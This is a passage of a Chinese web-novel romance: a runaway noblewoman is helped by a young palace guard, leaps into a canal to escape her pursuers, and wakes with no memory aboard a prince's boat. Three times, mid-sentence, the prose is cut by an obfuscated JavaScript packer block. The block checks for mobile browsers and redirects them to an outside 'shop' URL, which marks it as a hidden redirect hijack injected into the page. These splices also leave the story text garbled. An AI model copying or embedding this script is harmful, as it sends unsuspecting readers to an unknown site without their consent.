她沙哑着嗓子，道了声谢，把陶碗放回车板上。 随后，从包袱里摸出几块碎银子，往老妪手里塞。 老妪推了两把，到底没拗过她，边叹气边收好。 荷香这才意识到，眼前这位善人，不能言。 可老婆婆临走时，还不忘找出两个还温着的杂粮饼子，用干荷叶包了，递给荷香。 荷香吃完，拄着破竹竿，慢慢走到渡口边上，弯腰掬了一捧运河水。 水凉得彻骨，她捧起来泼了些在脸上，激得浑身打了个寒噤。 烧还没退，荷香没办法，只得把袖口里浸湿了，拧得半干，绑在额头上勉强压住滚烫的体温。 然后朝最近的一艘乌篷船伸出手去。 荷香问：“船家，到扬州，一个人要多少银子？” 船夫是个四十来岁的瘦削汉子，正蹲在船头喝粥。 他抬眼打量着突如其来的年轻姑娘。 很是陌生的样貌。 头发参差不齐散在肩头，衣裳上沾着草屑和泥点子，脚踝渗血，小脸烧得颧骨绯红，偏生眼睛亮极了。 老船夫还没开口答话，身后官道上马蹄声不疾不徐钻入耳朵。 蹄声清沉有力，一听，便能知晓，是贵人训练有素的军马。 荷香通体一僵。 “五姑娘，又见面了。” 少年音从她头顶飘下来，懒洋洋的，尾音似笑非笑。 正是在普度寺竹林里拦过她的那个少年侍卫。 元笑！ 荷香闭眼，给自己打了打气，旋即，撑着竹竿扭过身子。 元笑站在她的视野正中央，仍是那身玄黑武袍，乌黑长发散拢在肩后，腰侧佩着那柄窄长的刀。 他嘴角歪着，露出两颗蠢萌的虎牙。 然而，狭长的眼睛此刻没有半点儿笑意。 少女真真是狼狈极了。 这让元笑有种似曾相识的感觉，心中却也隐隐揪了起来。 上京的贵人，不该是这样的。 “你在这儿做什么。”元笑开口问道。 荷香硬撑着挤出一个笑，额头汗如雨下，颇有些要掉落的意味。 她说：“元侍卫，我身上只剩这么些银子。你今日只当没看见我，成不成？” 元笑低头一凝，一只扁扁的小布包，只怕是加起来，也不够他在上京酒肆里，喝一壶好酒。 可荷香烧得厉害，明知道自己走投无路，还倔强地不肯朝他低头。 即便少女看上去，是那么需要旁人之手。 说不明道不清的失落涌上心头。 “就这些？”元笑靴尖轻轻踢了踢那只小布包，抱起双臂，“你打发要饭的啊？小姐。” “我只有这么多。你要是嫌少，那我也没法子。” 荷香撑着竹竿，下巴轻抬，居然还存着几分理所当然的坦荡。 元笑失笑，掂了掂那只小布包，随手揣进袖中。 然后，少年上前，一把伸手夺过竹竿扔在地上。 不由分说，便将手腕搭在自己肩上，另一只手，则是揽住细腰。 “就这点东西，还想收买东宫的人。”陌生男子的气息拂过脸侧，很是亲密，“你不求我，我也要做你的恩人。” 荷香随他半架半扶地朝往医馆边儿走。 脚伤缝合完毕后，老大夫又开了几服退烧的药，嘱咐好煎法，便去后头抓药了。 荷香坐在榻上，问：“是相府的人追来了，还是太子殿下让你来截我的？” 太子的侍卫，可不会来城口守值。 元笑伫立在门口，把玩刀柄上的穗子，闻言，刀柄靠回肩上。 “都不是，我今日，可不当值。” 来这儿，也不过心血来潮罢了。 见到曾一见钟情的姑娘，如此狼狈不堪，也不知，是福还是祸。 元笑眯眼笑：“不过嘛，你跑出来这件事，殿下已经知道了。” 两人遥相望，元笑的注意力全落在那殷红的唇舌间，忽然觉得嗓子有些干。 相府表姑娘要代姐入宫。 那便是要嫁给陛下。 去争着做整个大临最尊贵的女人。 可普度寺一行，邬晏瞧荷香的眼神，分明不算清白。 倘若真硬押着进了宫，依照邬晏性子，能甘心才怪。 “殿下……什么反应？” 荷香的声音把他从走神里拽了回来。 “殿下说……”元笑对此印象深刻，道，“陛下冷心冷情，后宫虚设。你这样的性子进去，可惜了。与其在宫里守着活寡，不如留在东宫。” 留在东宫？ 岂不是想要薛家二女共侍一夫！ 荷香听完，心下冷笑。 她说：“我做侧妃和薛玉宜一起侍奉他？还是做个妾，如蒲柳般，任由君心四处游荡？” 前世和如今，邬晏是否都觉着，她的一生，不被他折磨死，就不甘心么？ 与此同时，听荷香自嘲，元笑提刀，竟私念邬晏那张脸，前所未有的碍眼。 这位东宫太子从来没想过，帮潜在的妻妹逃走。 他只不过是私心以为自己的东西被别人捡走了，心里不痛快。 更何况，夺走珍宝的，还是自己最想取而代之的天子。 元笑开口：“你打算去哪儿。” 荷香真言以待道：“扬州。” “就这副模样？你脚上有伤，烧也还没退，走到半路估计就得躺下。” 他还是一副莫不关己、高高在上的懒散样。 唇齿之间，却吐出一个又一个郑重的承诺。 “我送你去。今晚我有两个时辰的空当，够把你送到上游的渡口。那边有夜航船，天亮前能出京畿。” 此刻，老大夫正在后头碾药，铜臼铜杵叮叮当当的响。 荷香沉默好一会儿，才哑着嗓子问：“你想要什么报酬。” 假使自己有朝一日能做到，定不会负了这恩情。 新缠的白布干干净净，再没有血水渗出来。 荷香把药包抱在怀里，眉眼弯弯，衬得眼睫愈发乌黑。 “元笑。”她不叫他元侍卫了，“你帮了我，我总该是要给你些报酬。” 元笑侧过头，听感谢之语云云。 他想要什么？ 想要她别再这样看他，然则又想要，她一直这样看他。 元笑要荷香顺顺利利回到江南，又想要少女记住如今种种，他为她做的一切。 从底层爬上来的男人，想要的总是很多。 可关于荷香的哪一样，都不该是他想要的。 他把刀柄往怀里一靠，赫然推门进来，走到荷香膝前，利索蹲下。 少年本就高上京闺秀们大半个头，如今身子低垂时，视线倒恰好落在荷香长睫之下。 殊不知，这个距离太近了。 “什么都可以？”元笑没有半分笑，问道。 荷香转而令药包放居膝上，十指交握，心下犹豫，亦难免防备。 元笑专注地凝视着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550955|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼，半跪着把那交握的双手拨开了。 他似乎很紧张，喉结忍不住吞咽。 仿佛荷香露出半点不愿的神色，他就要跪下求饶不成。 但……荷香没有。 她看着眼前人翻过手心，掌心朝上，把自己的手指慢慢扣进她的指缝里。 十指相扣。 他的手指比她的粗得多，指腹上全是练刀磨出的茧子，扣在她细瘦的指节上，粗糙而滚烫。 一瞬间，两人俱是僵硬不已。 荷香正要开口：“够了……” 少年却收紧手指，另一只手揽住腰，往怀里一带，把少女整个人抱进了怀里。 她的手被他扣着，药包从膝上滑落，啪嗒掉在地上。 元笑低下头，把脸埋进她的发间。 她发间的木簪不知什么时候松了，参差不齐的发丝散了一怀，氤氲着草药味和茉莉香。 “这些，”少年的声音闷在她发间，哑得不成样子，“这些……就够了。” 今朝，当如黄粱一梦，余生，不可再提。 荷香别开了脸，如此举动，很是微弱，元笑却像被烫到了一样，立刻松了手。 他退后半步，单膝仍跪在地上，仰着脸凝视她。 “我……” 荷香弯下腰，把掉在地上的药包捡起来，拍了拍上头沾的灰。 参差不齐的碎发遮住了侧脸，看不清神色。 “够了吧。”她说。 元笑还跪在那里，听见这话，心一下子坠到了谷底。 他知道自己配不上。 但荷香婉拒的时候，那近乎慈悲的纵容，让元笑莫名难堪不已。 好似他是一只不懂事的狗，扑上来舔了主子的手。 主子不怪，却也收回了手。 元笑不发一词，默默站起来，退回到门框边上，恢复了先前那副吊儿郎当的姿势。 此时此刻，荷香心里，刹然浮起另一张脸。 那张脸的主人，不会跪在地上仰头看她，更不会把自己的手指笨拙地扣进她的指间。 如此懵懂，如此蠢怯。 他永远居高临下，永远在权衡。 邬晏从来没想过，荷香愿不愿意做薛玉宜的陪衬，一辈子活在另一个女人的阴影里。 东宫之人，嘴上说着可惜，却从头到尾没有伸出来过援手，哪怕一次。 太子的心疼，犹如隔着轿帘，看路边的乞丐，叹一句真可怜。 然后放下帘子，该做什么还做什么。 然而元笑，被踢开了，还要摇着尾巴跟上来。 可少年越是这样，她就越不能靠近。 在上京，荷香没有动心的权利。 她欠他的，等到了江南，拿了家产，再还。 到那时候，也许可以站在彼此面前，道一句谢，旁的，便是空空荡荡，什么也无。 老大夫端着药碾子从后头掀帘子出来，见两人一个杵在门口，一个坐在榻上，气氛颇有些古怪。 倒也没多问，只将煮好的汤药递过去。 荷香利索地一饮而尽。 不知何时，元笑已经离开了房间。 …… 子时三刻，运河上游五里外的野渡口泊着一艘乌篷船。 船家头发花白，正蹲在船尾打盹。 听见脚步声睁开眼，见一个玄黑武袍的年轻侍卫扶着一个姑娘走上跳板。 那姑娘，面容烧得有些憔悴，但仔细一瞧，还是能看出是个美人胚子。 “船家，到扬州。这位姑娘一个人，路上烦您多照应。” 元笑把一锭银子塞进船家手里，说。 17. 坠河 船家接过银子，在手里掂了掂，其分量沉得很，足够跑三趟扬州还有余。 他抬眼看那年轻侍卫，又看那姑娘，心里约莫明白，以为是偷情被主家发现了。 也不多问，便点点头，哑着嗓子说了句：“老朽省得。” 元笑把荷香扶上船，弯腰进了乌篷。 篷内逼仄，铺着些干稻草，角落里堆着半旧的蓑衣和斗笠，一股河腥味混着潮气扑面而来。 荷香依靠在船舫一侧。 元笑把自己外袍脱下来，给她披上。 袍子很暖，熏过东宫里的檀香，倒也称得上好闻。 “你……”荷香睁开眼看他。 少年已经退出了乌篷，站在跳板尽头，夜风把他散拢的长发吹得猎猎作响。 “睡一觉吧，小姐。天亮之前别出篷子，外头冷。” 说完，元笑却没给她开口的机会，转身大步流星地走了。 船家解了缆绳，竹篙在岸石上一点，乌篷船便荡进了漆黑的运河里。 荷香缩在干稻草堆里，把元笑那件外袍裹紧了。 袍子太大，几乎把她整个人埋了进去。 逃了一天一夜，难免犯困。 船底水流潺潺，竹篙破开水面又提起，远处不知哪座寺院的钟声，沉闷地幽幽荡在湖面之上，波动心弦。 荷香意识时清时浑，到底没忍住，闭上眼，打了个小盹儿。 船行了大半个时辰，河面愈发开阔，两岸的灯火稀疏下去，余下黑黢黢的树影和芦苇荡，被夜风压弯了腰，瑟瑟地响。 荷香迷迷糊糊，蛙鸣于耳不听，恍然间，竟听见船家“咦”了一声。 她敏感地睁开眼。 “姑娘。”船家压低声音，从篷子缝隙里探进半个头来，花白的眉头拧成一团，“后头有船撵上来了，怕不是寻常人家。” 闻言，一股凉意直上额头。 荷香撑着船板坐起来，掀开篷子一角朝后头看。 夜色沉沉，河面星光零碎。 其远方，确有几团光亮在极快地移动着。 至于方向，正好是荷香上的这条船。 灯火连成一片，隐约间，还能瞧见船上立着的人影，火把光芒把河面照得发红。 一时之际，竟赫然如白昼。 “姑娘，那些人可是找你的？”船家急切问。 自然是。 领头的船舫，还挂着相府的旗帜呢。 荷香在医馆耽搁了太久。 即便元笑已经尽量走水路，绕开官道，无奈相府在运河沿岸，必定也有人手。 上京的权贵，哪一家没有几条船，没有几个使唤得动的漕运关系？ 她太天真了。 以为逃出了上京，就算逃出去了。 荷香咬着唇，把元笑的外袍脱下来，叠好放在稻草堆上。 她说：“船家，您靠边停一停，让我下去。” “下去？”船家傻了，“这前不着村后不着店的，两岸都是芦苇荡，姑娘您——” “我不能连累您。” 荷香说完，一声不吭，弯腰钻出乌篷，站在了船尾的跳板上。 夜风灌进衣领，冷得她牙关发颤。 追兵的火光越来越近了，甚至能听见船桨击水的声响，整齐而急促。 荷香深吸一口气。 河面漆黑，看不见底。虽未至夏初，寒气却也是可料得的。 但欠元笑的，已经还不清了，不能再欠船家的命！ 荷香正要往下跳，船家一把拽住袖子。 “姑娘！”老船家的手粗糙如树皮，力气却大得惊人，“使不得！这运河水急得很，底下全是暗礁乱石，你跳下去，会死的！” 话没说完，一声暴喝惊飞夜鸟：“前面的船，停下！” 紧接着，追船上，有人搭弓放箭，一支鸣镝划破夜空。 箭落在乌篷船侧方约莫两丈远的水面上，溅起一朵水花。 船家吓得腿都软了，竹篙差点脱手。 天杀的，怎么偏偏倒霉遇上了这种事！ “姑娘！”他回头喊。 荷香咬咬牙，说：“停船。船家，把船停下。” 船家犹豫了一瞬，可到底还是把竹篙往水里一插，借着阻力，让船慢慢浮在河面。 乌篷船晃晃悠悠地漂儿，不过一个挨宰的活物。 为首的男人喊：“表姑娘，相爷命我等接您回去。” 荷香紧捏着衣裳，掌心全是汗，一动不动。 “表姑娘，别让属下为难！” 男人一挥手，身后的侍卫齐齐上前。 就算绑，也要把五小姐绑回去。 荷香摇头，说：“周侍卫长，劳你回禀相府大人，就说我薛荷香，宁死，也不回！” 周侍卫脸色一沉，船头压下来，晃得厉害。 “表姑娘，这话属下不敢转达。相爷说了，您就是闹脾气，回去关几日就好了。您别想不开，这运河水冷得很，底下全是乱石，跳下去可不是闹着玩的。” 荷香知道眼前人不是在吓唬她。 运河这一段，底下全是暗礁乱石。 每年，都有百姓落水于此，况且，捞上来的尸身，没有几个囫囵的，通常情况下，连尸首都找不到。 但荷香知道，回了上京，她的婚事，还是把握在贵人们手里。 “表姑娘，属下再劝您一句……” 男人说着，船上的侍卫们纷纷举起火把，把荷香的脸照得清清楚楚。 他们已然准备好了长篙，只差把乌篷船勾过去。 这位表姑娘，就是囊中之物！ 就在这时，岸上马蹄声阵阵嘶鸣，惊了池面。 所有人皆为一愣，夜色里，马上的骑手一身玄黑武袍，正是元笑。 荷香瞪圆眼睛。 他不是走了吗？ 元笑长眉一挑：“周侍卫长，大半夜的在运河上兴师动众，好大的阵仗啊。” 男人拱拱手，回道：“见过元侍卫。在下不过是奉相爷之命，接自家表姑娘回府，不知元侍卫，有何指教？” “指教谈不上。”元笑翻身下马，一步一步走到岸边，隔水相望，“只是今儿个，我恰好在运河边上溜达，看见这么大阵仗，实在是好奇，便过来瞧瞧，涨涨薛府的见识。” 大半夜的，在运河边上溜达？ 这话连骗上京的三岁小儿都不成。 但他不敢得罪东宫的人，耐着性子道：“元侍卫，这是薛府的家事，您一个东宫的侍卫，怕是管不着吧？” “家事？”元笑偏头，露出标志性的甜笑，“我怎么听说，这位表姑娘已经被陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550956|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下看中，要选入宫中了？既是陛下的人，那就是天家的家事，怎么倒成了薛府的家事了？” 这话说得刁毒，男人也意识到，这东宫侍卫，就是不想让他带走荷香！ 难不成……薛府与东宫那位，关系没那般密切？ 男人心下惴惴，道：“元侍卫，在下敬你是东宫的人，不欲与你为难。但表姑娘，今日必须跟我回去。你若执意要管，休怪在下不客气。” 元笑放声大笑：“不客气？怎么个不客气法？在运河上放箭射我？你敢动东宫的人一根汗毛，你猜殿下，会不会替你收尸？” 话音刚落，追船上一个年轻侍从，冲动之余，竟真的搭弓，对准了岸上的元笑。 周侍卫立刻把那人的胳膊打下去，低声斥骂了一句“混账”。 其目光阴鸷，不知是指桑骂槐，还是教导职下。 “元侍卫，你我既各为其主，何必把场面弄得这么难看？” 男人的船越来越靠近荷香。 “不如这样，你今日当作没看见，等改日，相爷必有重谢！” 元笑嗤笑一声，正要开口，却见，眼前运河扑通一声，荡开莫大的涟漪。 跳板上空了！ 元笑瞳孔一缩。 那溅起的水花映得通红，月牙儿也跟着破碎。 “救人！” 元笑一把扯下腰间佩刀甩在地上，纵身跃入水中。 他睁大眼睛在黑暗里摸索，什么都看不见。 周侍卫在船上暴跳如雷，喝骂着让手下也下水，几个会水的侍卫扑通扑通跳下来，搅得水花四溅。 元笑从他们中间穿过去，往河心最深的地方游。 他知道荷香会水。 可她脚上有伤，烧刚退，很是危险。 少年潜下去，又浮上来。 月光渐渐移到云层后头，河心的光一点、一点暗下去。 芦苇荡里的野鸭子被惊醒了，扑簌簌飞起来。 荷香不在方才那水域。 入水的一瞬间，她就知道自己赌错了。 河心的水流比表面看上去急得多，卷着人，就直往河底沉。 她拼命划动手臂，脚踝上的伤口被冷水一激，疼得肌肉痉挛。 紧接着，后脑勺撞上河底不知多少年的暗礁。 最后，她看见水面上破碎的月光，亮晶晶的，伸手便想去捞，却在碰到水面之前，就软了下去。 运河吞没了她。 荷香的发髻全然散开，衣裳灌了水，薄薄地贴在身上，就连衣带，也被水流扯松了，随着水波浮动。 少女顺着暗流，漂过了芦苇荡，水草缠住脚踝，又松开。 下游五里外，一艘两层高的官船泊在河心。 船尾蹲着个值夜的小太监，正打着瞌睡，侧着脑袋。 船身通体乌黑，两侧各站着便装侍卫，一动不动。 不知过了多久，舱门轻轻叩响两声。 “殿下。”老总管何安迟疑道，“船侧……有个姑娘。” 月光落在荷香身上，银光泠泠。 少女无所声息，若不是血色翻涌，倒有几分沉睡之意。 好似运河自己做了一个梦，梦见一片杏花落在水面上，舍不得沉下去。 邬君雪闻声，放下折子：“若是贼子，杀了便是。” 18. 恩人么 何安应一声，躬着身子退出去，招呼两个小太监下水。 小太监把少女放在船板上，细探鼻息，回头喊：“何总管，还有口气！” 何安蹲下来，一番又撩眼皮、又摸心脉的动作，皱眉说：“抬到底舱里去，烧盆炭火，去请随船的大夫。” 船上随行的大夫姓陆，五十来岁，头发花白。 大夫背着药箱进了舱房，把帘子放下来，过了小半个时辰才出来。 夜虽已深，何安仍在廊下等着，见他出来，便迎上去。 陆大夫说：“姑娘的后脑撞了暗礁，里头存着淤血。脚上呢，有旧伤，在水里泡得发了白，得仔细养着，不然，将来有很大可能沾染上寒疾！好在，烧倒退了，但身子亏空得厉害，得吃几服药看看。” “人什么时候醒？”总管问。 若这姑娘真是细作，为了接近陛下，当真是无所不用极！ 大夫拱手回道：“这……不好说。快则一两日天，慢则三五日。这姑娘底子弱，又受了惊吓，能不能醒全看造化。” 何安点点头，转身去回禀邬君雪。 此时此刻，邬君雪正在灯下看折子，听完了，神情自若，没半点儿变化，只说了句：“醒了问清楚来历。若是良家子，到前头码头放下去便是。” 假使不是…… 那这姑娘的下场，可想而知。 何安一向衷心，躬身应了，退出去安排。 许是伤得太重，再加上逃亡的不安思绪，荷香昏迷了整整两天一夜。 好在，这船属于天下最尊贵的人。 一个来路不明的少女，供养疗愈起来，也不过是柳枝点水、须臾之物罢了。 第三日，曦光蔼蔼，船已过了上京，朝濮阳方向去。 运河两岸的景色，从水乡泽国变成了平原阔野，芦苇稀稀疏疏，矮山和村舍垂延于山脉云谷之间。 醒来的第一眼，瞧着的，是舱顶的乌黑横梁。 朝光叆叇，昏黄莹灰，帐内账外，皆是一股橘调的木质香，草药汤子的苦气，倒沉寂下来，平添少许韵味。 可这并不能使她感到安宁。 陌生的地方、奇怪的晃动、空白的触感……桩桩件件，都在指向一个令她本能不安的事实。 荷香转动眼珠，想要坐起来，大脑却蓦地尖锐发疼。 好痛！ 她想不起来自己是谁了！ 大脑□□平空发胀，又酸又软。 荷香伸出手，小心翼翼按动，却不见丝毫好转。 她有些想哭。 她不记得自己叫什么名字，不记得从哪里来，不记得为什么会睡在这条船上…… 荷香试图下床，可四肢一软，眼前发黑，霎然间，又跌回枕上。 隔着画眉屏风，小太监端着温热的汤药走进来，见少女苏醒，一呆，旋即高兴地叫喊起来：“醒了醒了！总管大人，那位姑娘醒了！” 闻声，何安很快过来了。 他站在屏风另一侧，眉眼皱纹微展，很是和煦：“姑娘醒了就好。敢问姑娘贵姓，家住哪里，为何会落入运河之中？” 荷香唇口轻开，沙哑粗糙的小鸭子音吓了她一跳。 小脸瞬间满是绯红：“我、我不知道。” 少女说的是实话。 何总管却并不满意这个答案：“真……不记得了？” “不记得。”荷香声音小小的，充斥着真切的茫然，“我什么都不记得了。大人……您知道我是谁、我的家人在哪儿么？” 还是说，眼前这个慈祥的老爷爷，就是她的亲人呢？ 语毕，何安眯眼，郑重其事瞧了瞧她的神势作态。 撒谎？ 不太像。 荷香被看得有些焦躁，下意识把自己缩成一团儿，紧紧裹在被裘间，只露出一双眼睛。 温暖感由下至上，即便是春末夏初，这一下子，也让少女感到安心许多。 这双小狗般的眼睛太干净。 何安做了大半辈子的内侍，见惯了人心鬼蜮，这会儿倒有些拿不准了。 “姑娘先喝药吧。” 想起大夫的叮嘱，何总管隐隐有了猜测，道：“既然不记得，那便在船上养几日，等想起来了再说。” 荷香乖乖点头，接过药碗，试探性喝了一小口。 浓重的中药味直冲鼻尖。 许是船上的缘故，这药炉里的药渣都未曾去除干净，闹得她还得吐出来，又重新喝。 反反复复，这苦味一下比一下重。 但荷香虽没了记忆，却也敏感地察觉出，这个被称作总管的大人，和她，并无半点沾亲带故的可能性。 知道没有依赖他人的希望，荷香捏住鼻子，一口接一口，在何总管的注视下喝完了。 等喝完了，整张漂亮的脸都皱成一团。 小太监忙不迭递了颗蜜饯，荷香含在嘴里，珍惜地含了半天，感激道：“这个真好吃，谢谢你们。” 何安叹了口气，许是觉得一个看上去年纪尚小的丫头不值一提，不发一词就出了舱门。 等到他禀告时，邬君雪才从内侍的口中，听到这个‘细作’的情况如何。 “醒了？”他问。 “醒了。”内侍把荷香的情况说了一遍，末了补了一句，“老奴瞧着，这姑娘，可不像是装的。” “你倒是，会用眼识人。”邬君雪嗤笑道，“查查她的来历。” “上船之时，老奴已经让人去查了。运河那段归济州府管，这两日漂了什么人下去，一查便知。” 邬君雪轻嗯一声，便不再问了。 何安知道他的脾气，识趣地退了出去。 在到达濮阳之前，荷香在船上住了下来。 她的伤好得慢，脚上的伤口即便结了痂，走起路来，还是一瘸一拐的，后脑勺的淤血也散了大半，只可惜，记忆没有丝毫恢复的迹象。 这船的主人，对自己这个陌生女子，也是不咸不淡。 就连荷香想要表达感谢，也只能通过小太监们传话。 至于何总管，也只有在陆大夫来的时候，才会突然出现，安慰她，马上就能痊愈了。 荷香每日的活动范围，就是那间舱房和门口的一小截走廊。 小太监们对她客客气气的，但什么都不肯跟她多说。 她问这是什么船、船上是什么人、要去哪儿，他们就光抱歉地笑，不说一句多余的话。 好像多说了一句，就有地狱的鬼神来夺了他们的舌头似的。 这日吃过晚饭，荷香实在闷得慌，趁小太监去端茶的功夫，自己扶着墙壁，慢慢走到了船尾。 夕阳正在落下去，运河上铺了一层碎金，波光粼粼的，晃得人眼睛发酸。 两岸的树影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550957|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拉得很长，风吹过来，炊烟的味道抚慰凡人的心。 荷香好奇地趴在栏杆上往下看，水面映出她的脸。 大抵是因着还在养病的缘故，气色不好，脸颊肉也瘦下去。 唯一可圈可点的，是那双至始至终、都明亮清透的圆眼，以及婴儿般长长的直睫。 荷香左看看，右瞧瞧。 看了半天，还是觉得这张脸陌生得很。 “你不冷？” 一道声音透入耳中，好似瓷珠磕落玉盘，清冷、不近人情。 荷香惊慌地寻声望去。 内心疑心惴惴地祈求着：千万不要是总管大人啊！ 她的病还没好，这么多天了，也没有所谓的亲朋好友找上门来。 要是被主人家赶下船，只怕是，要红颜多薄命了。 来者，亦不过二十来岁的年纪，穿着上白下黑，绣着精致暗纹。 如此一瞧，颇有些世家贵门、远离尘世的贵人姿态。 他住手站立，神色淡淡，周身一副冷冰冰的模样。 想来，他便是这艘船的主人了。 荷香愣愣地看着他，却并不害怕，只觉得，这人生得真好看。 明明看上去是拒人于千里之外的人，荷香却很想亲近。 ……不过，绝对不是因为好看，而是恩情！ 荷香提起裙摆，怪模怪样地行了个礼：“我、我不冷。” 见她这幅担惊受怕、有些愚蠢的姿态，邬君雪转身要走。 “等等。” 荷香咬住下唇，也不知道自己为什么要叫他，可等到话出口了，才觉着冒失。 但她已经顾不上脸皮了：“你是这船上的主人吗？” 邬君雪停住脚步，偏过头，看她。 那一眼很淡、很淡，但荷香，却莫名慌乱起来。 “是。”邬君雪说。 荷香想：她一定不是第一个会对恩人产生好感的人。 “谢谢你救我。”荷香认认真真地朝他鞠了一躬，“我什么都不记得了，等我想起来，一定报答您！” 邬君雪垂下眼，似乎是觉着可笑。 “不必。” 荷香站在船尾，看着他的背影消失在舱门后头，心里头莫名其妙地跳得厉害。 她把手按在胸口上，不明白自己这是怎么了。 风吹过来，耳朵尖红红的。 又过了好几日，荷香的脚伤算是好得差不多了，可以随意下床走动。 何总管也给她重新安排了一间靠窗的小舱房，比原先的略大，直接从底舱安排到了上层。 只不过，荷香本以为会因此常常见到邬君雪。 可事实上，两人仅有那一面的邂逅。 而她，早晚都得喝药。 荷香每次都老老实实地一口气喝完，再美滋滋地从小太监手里接过蜜饯，感慨自己又活了一天。 陆大夫一夸她乖，她就笑。 少女笑起来眼睛弯弯的，露出细白的牙齿，瞧着极为伶俐动人。 小太监们都觉得，这姑娘虽然来路不明，但实在不招人烦。 她不吵不闹，安安静静的，偶尔怯生生地问：“我们到哪里了？” 下人们只回答：“还没到”。 荷香便点点头，也不追问。 终于，小半个月过去，船在濮阳城外的码头靠了岸。 19. 荷 到濮阳前，荷香翻来覆去睡不着。 她躺在榻上，暖衾柔软，脑袋瓜里，却回想起邬君雪的模样，反反复复。 华贵衣袍，泠泠目光，可远观、而不可亵玩焉。 荷香好奇：他是谁，去濮阳做什么，以及……为何要救她？ 她只是一个素不相识的落水女子，他大可以不管的。 思来想去，荷香忍不住为自己这看脸的小样子感到丢脸。 她翻了个身，唰地把被子拉过头顶，在被窝里闷闷地叹了口气。 唉……还是先想办法别被赶下船吧。 何安第二天来看她的时候，荷香正在喝药。 她喝药还是一样费劲，苦得直皱眉头，但从不剩。 总管等她喝完了，顺手递了颗蜜饯过去，在榻边的凳子上坐下来。 他问：“姑娘今日觉得如何？” “好多了。”荷香含着蜜饯，含含糊糊地说，“头也不晕了。就是……” 荷香指了指自己的后脑勺：“还是什么都想不起来。” 何安点点头，说：“陆大夫说了，淤血散得慢，急不得。” 荷香乖顺地嗯了一声，犹豫几刻，忽然问：“何总管，那个……殿下，他叫什么名字呀？” 小太监们都称那位为殿下，荷香自然也有样学样。 何安的眉头稍沉：“姑娘问这个做什么？” “他是我的救命恩人呀，我连他叫什么都不知道，总觉得不恭敬。” 荷香双手合十说，语气真诚得很。 “我想好好谢谢他，可是我不知道该怎么称呼。总不能一直喊殿下吧，万一喊错了呢。” 在及笄不久、尚且失忆的小姑娘脑子里。 何安也是看上去就很尊贵的大人物，绝不是普通寒门的管事。 邬君雪是殿下、何安也是殿下，甚至连守船的侍卫头头，都能被荷香叫上一句殿下。 看在她失忆，况且无能力逃出这艘船的前提下，何安斟酌着开口。 “殿下姓邬。至于名讳，老奴不便透露。姑娘若想谢殿下，好好养伤就是了。殿下不图你报答什么。” 邬。 荷香在心里默念了好几遍。 她念起来，嘴唇先收拢再张开，好似在吹一朵蒲公英儿。 她喜欢这个字眼儿！ 可是荷香没有问出名来，多多少少，还是有些许遗憾。 下船那日早晨。 总管叮嘱道：“到了濮阳之后，姑娘先住在行宫里养伤。我安排了让青苗和白水伺候你。等姑娘伤好后，想起自个儿的身份了，再作打算。” 荷香点点头，心里却有点慌。 行宫。 一听就是比这艘船还要大的地方。 到了濮阳之后，她是不是就再也见不到那个人了？ 荷香抬眸问：“总管大人，殿下他……也去濮阳吗？” 何安定神，眼神了然，不由提醒道：“殿下么，每年夏初都会去濮阳住一阵子。姑娘住在行宫，自然能见到殿下……不过，殿下平日忙，姑娘没事别往前头去，打扰殿下空闲。” 倘若这姑娘恢复了记忆，意图攀附皇家的权势。 后果如何，那便不是他一个区区内侍总管可以干预的了。 荷香连忙点头说：“我知道，我不会打扰殿下的。” 话虽这么说，她只是想着，再见一面贵人，难如上天堑。 何安走了之后，荷香坐在榻边，两只脚悬在半空中晃啊晃。 她低头凝视着自己缠着纱布的脚踝，旋即，抬头望着愈发平缓的河面，嘴角翘了翘。 船到濮阳，已是傍晚。 码头上人来人往，卸货的脚夫光着膀子喊着号子，岸边的茶棚坐满了人，茶博士提着长嘴铜壶穿梭其间。 荷香从轿帘的缝隙里往外看，觉得这个小城热闹得很，和这些天在船上的冷清，完全不同。 行宫在北城边，墨墙银瓦，种着不知在人间生长了几百年的老槐树，槐花开得正盛，一串串白云似的垂在头顶，香气浓得化不开。 荷香被安置在后院的一间厢房里。 其石榴花开得火红，一朵一朵的小灯笼，明媚可爱。 青苗和白水早早在屋里候着。 一个圆脸爱笑，另一个则瘦高寡言。两人见荷香进来，齐齐行了礼。 面对这阵仗，荷香手足无措，连忙摆手说：“你们别这么客气，我就是个落水被救上来的人。” 青苗露齿轻笑，嘴快得很：“何总管吩咐过了，让我们好好伺候姑娘。姑娘别见外，有什么需要的只管说。这行宫平日里冷清得很，姑娘来了，倒添了些人气儿呢。” 白水不多话，端了茶来放在桌上，又去收拾衣柜，把总管给荷香的几件换洗衣裳叠得整整齐齐。 